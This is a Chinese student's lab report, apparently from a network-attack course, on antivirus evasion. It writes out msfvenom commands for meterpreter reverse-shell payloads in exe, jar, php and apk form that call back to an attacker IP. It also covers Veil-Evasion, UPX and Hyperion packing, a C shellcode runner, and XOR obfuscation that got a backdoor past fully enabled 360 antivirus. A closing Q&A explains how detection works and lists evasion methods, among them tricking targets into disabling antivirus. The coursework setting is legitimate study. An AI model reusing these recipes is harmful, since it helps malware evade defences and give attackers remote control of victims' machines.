20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践
20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践
1. 实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.1.1 使用msf编码器
输入命令msfvenom -h可查看相关用法:

编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.172 LPORT=5101 -f exe > 5101shell.exe

编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.1.172 LPORT=5101 -f exe > 5101shell-10.exe

1.1.2 msfvenom生成如jar之类的其他文件
用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.jar生成.jar文件:

扫描结果如下:

用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.php生成php文件:

扫描结果如下:

结果有点意外~~~
用命令msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 > 20165101.apk生成安卓apk文件:

扫描结果如下:

1.1.3 veil-evasion
关于veil-evasion的安装,我遇到了下列问题:
使用git clone https://github.com/Veil-Framework/Veil.git命令下载Veil。
使用./config/setup.sh --force --silent命令安装时遇到了远端挂断的问题。

查看文件,发现git clone命令,由于github不支持断点续传,而且速度极慢,所以我用迅雷先下载好这些文件,然后更改了setup.sh文件,成功解决了该问题。这些依赖文件现已上传到百度云盘:https://pan.baidu.com/s/1n3M_vmKUvsrm-oOFDCm6gg
提取码:tc2m
下载后将文件夹的名字改为setup-dependencies,放置在主目录下。
然后修改setup.sh文件

用use Evasion命令进入Evil-Evasion:

输入命令use c/meterpreter/rev_tcp.py进入配置界面

用set LHOST 192.168.1.172命令设置ip,用set LPORT 5101命令设置端口号,用options命令查看配置

再用generate命令生成.exe文件:

如图所示,保存路径为:/var/lib/veil/output/compiled/20165101-veil.exe
分别上传至Virscan和VirusTotal上:
Virscan扫描结果如下:

VirusTotal扫描结果如下:

使用360杀毒看看:

效果不是很理想
但是这与Virscan的扫描结果有出入啊,令人费解。

1.1.4 加壳工具
1.1.4.1 压缩壳UPX
Kali下输入命令upx 20165101-veil.exe -o veil-upxed.exe

测试一下看看。


效果依旧一般。
1.1.4.2 加密壳Hyperion
进入目录/usr/share/windows-binaries/hyperion/中;
输入命令wine hyperion.exe -v ~/20165101-veil.exe veil-hyperion.exe进行加壳:


测试一下看看。


效果依旧一般。
1.1.5 利用shellcode编程
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.172 LPORT=5101 -f c > 20165101.c生成一个c语言格式的shellcode数组:

在生成的文件中加入主函数代码int main() { int (*func)() = (int(*)())buf; func(); }
经过Codeblock编译运行后回连成功

1.2 通过组合应用各种技术实现恶意代码免杀
我们对shellcode进行免杀变形
(1)msfvenom生成shellcode。
(2)将shellcode与'0'进行异或,生成异或后的shellcode。
(3)将异或后的shellcode放入程序,该程序再将此shellcode异或一次,还原为原来的shellcode,但因为没有了Shellcode的特征码,于是不易被杀软检测到。
(4)用codeblocks编译该程序生成一个exe文件,即为该后门程序。
周五的时候上传测试,只有ZoneAlarm杀出来了,刚刚检测就有12个能查杀了,这个响应速度也是不错的。

加壳之后变为11/72

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 实验环境
靶机:win10物理机,装有360全家桶最新版,IP地址为192.168.1.111。
控制机:kali-2019,IP地址为192.168.1.172。
将木马程序用U盘拷贝到靶机上,用360杀毒查杀,未发现风险,扫描日志如下:

在全家桶火力全开的情况下,回连成功。


2. 基础问题回答
2.1 杀软是如何检测出恶意代码的?
- 基于特征码的检测
根据恶意代码的各种特殊片段形成一个特征码库,如果一个可执行文件包含特征码库中的数据则被认为是恶意代码。所以杀毒软件的恶意代码的病毒库的更新和全面性十分重要,过时的特征码库就无法检测出新的病毒。
- 启发式检测
根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
- 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.2 免杀是做什么?
通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
2.3 免杀的基本方法有哪些?
- 改变特征码
对exe文件加壳:压缩壳 加密壳
对shellcode用encode进行编码
基于payload重新编译生成可执行文件
用其他语言进行重写再编译(veil-evasion)
- 改变行为
(1)通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
(2)操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
- 非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
3. 实践总结与体会
经过本次实验之后,我发现杀毒软件也不是万能的,当你学习了避开杀软的查杀原理并进行别有用心的操作之后,就可能不被杀毒软件发现。
经过这次实验,我对MSF、veil-evasion的使用也更加了解了,不断探索会发现他其实有很多强大的功能。还有很多方法可以成功实现免杀,不禁觉得学无止境,可以尝试学习的空间还很大。
4. 离实战还缺些什么技术或步骤?
我认为距离实战还缺乏Web渗透攻击技术,以及进程隐藏,守护进程等技术。
20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
随机推荐
- 初步了解 cURL
今天需要用PHP模拟post请求,查了查资料,了解到cURL.看了一篇博客,写的很详细,就转载了,与大家分享.[原文链接] 什么是cURL?可能还有很多同学没有听说过这个工具,我先来给大家简单介绍下什 ...
- php 正则表达式一.函数解析
php正则表达式官方手册参考....... 一.php中 常用的正则表达式函数 1.preg_match与preg_match_all preg_match: 函数信息 preg_match_all: ...
- <2014 08 28> 大学学习小结
大一:哲学.物理(科普).瞎玩 大二:机械.力学.继续哲学 大三:电子电路.计算机.编程 大四:毕业项目(机器人等) 研一:物理.数学(常熟) 研二:AGV.TUM实习 研三:写论文.实习程序员.申请 ...
- MySQL前后台交互登录系统设计
1.首先我们做一个前台的注册页面 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"& ...
- 对protected函数的简单理解 good
对于protected提供的函数和属性,除非想扩充这个类的功能,否则是完全用不到的.外部函数main()永远只能调用public的那些函数.所以从拖拉控件编程的角度来讲,只需要学习public的函数和 ...
- caffe使用(2)
总体流程 https://blog.csdn.net/hjimce/article/details/48933813 https://zhuanlan.zhihu.com/p/24087905 1.编 ...
- python 作用域知识点整理
1.块级作用域 想想此时运行下面的程序会有输出吗?执行会成功吗? 1 2 3 4 5 6 7 8 9 10 11 12 #块级作用域 if 1 == 1: name = "lzl ...
- Redis六(管道)
管道 为什么使用管道? Redis是一个TCP服务器,支持请求/响应协议. 在Redis中,请求通过以下步骤完成: 客户端向服务器发送查询,并从套接字读取,通常以阻塞的方式,用于服务器响应. 服务器处 ...
- R中的data.table 快速上手入门
data.table包提供了一个非常简洁的通用格式:DT[i,j,by]. 可以理解为:对于数据集DT,选取子集行i,通过by分组计算j. 对比与dplyr等包,data.table的运行速度更快. ...
- 关于C# yield 你会使用吗?
假设有这样一个需求:在一个数据源(下面代码arry)中把其中大于4的数据取出来遍历到前台,怎么做?(不使用linq) , , , , , , , , , }; 第一种情况: 不使用yield的情况下 ...